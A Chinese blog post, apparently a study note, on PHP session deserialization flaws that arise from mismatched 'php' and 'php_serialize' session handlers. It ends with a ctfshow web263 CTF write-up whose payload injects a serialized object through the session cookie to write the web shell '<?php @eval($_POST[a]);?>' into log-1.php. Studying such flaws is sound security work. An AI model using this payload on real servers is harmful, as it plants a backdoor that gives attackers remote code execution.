欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP session反序列化漏洞

程序员文章站 2024-03-24 08:15:34
...

session反序列化

看群主的讲解视频,顺便做个笔记。
先在本地做个测试,在index.php中写如下代码

<?php

session_start();
$_SESSION['aaa'] = 'bbb';

此时php的临时目录(tmp)中没有任何文件,然后访问http://127.0.0.1/,清除所有的cookie,然后再次访问,发现又生成了一个PHPSESSID
PHP session反序列化漏洞
而此时tmp文件夹中也有一个临时文件sess_u8or65tgg0q5rpso3qegdhmlk2,文件内容是

aaa|s:3:"bbb";

再看另一种php序列化的形式

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['aaa'] = 'bbb';

再次访问,可以发现sess_u8or65tgg0q5rpso3qegdhmlk2文件的内容变成了

a:1:{s:3:"aaa";s:3:"bbb";}

再用一个类

<?php

// ini_set('session.serialize_handler', 'php_serialize');
session_start();
class user{
    public $username='admin';
}
$user=new user();

$_SESSION['user'] = $user;

文件内容是

user|O:4:"user":1:{s:8:"username";s:5:"admin";}

再用php序列化的方式,文件内容

a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"admin";}}

两个方式最大的区别就是前者都有一个默认的分隔符|,如果是

a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"ad|min";}}

用php序列化的处理器来解析,是没有问题的,但是用默认php的处理器,就会出现解析的漏洞

ctfshow web263 wp

在inc.php中,

ini_set('session.serialize_handler', 'php');

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

可以发现ini_set('session.serialize_handler', 'php');,即用的php默认处理器来处理,也存在危险函数file_put_contents(),可以直接写马。

先构造序列化字符串,然后存入session,看文本内容是什么样的:

<?php

session_start();
class User
{
    public $username;
    public $password;
    public $status;

    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }

    function setStatus($s)
    {
        $this->status = $s;
    }
}

$user = new User('1.php', '<?php @eval($_POST[a]);?>');
$_SESSION['user'] = $user;

文件内容:

user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}

再用php序列化处理器,文件内容:

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}}

这题是用的php默认处理器,只要把php序列化处理器的内容在最左边加上|,就会把右侧的内容全部反序列化,从而写马。
先在index.php页面把cookie中PHPSESSID换成

|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}

并访问index.php,然后访问check.php?u=admin&pass=123,并把PHPSESSID换成MQ==,此时就会在log-1.php中生成木马。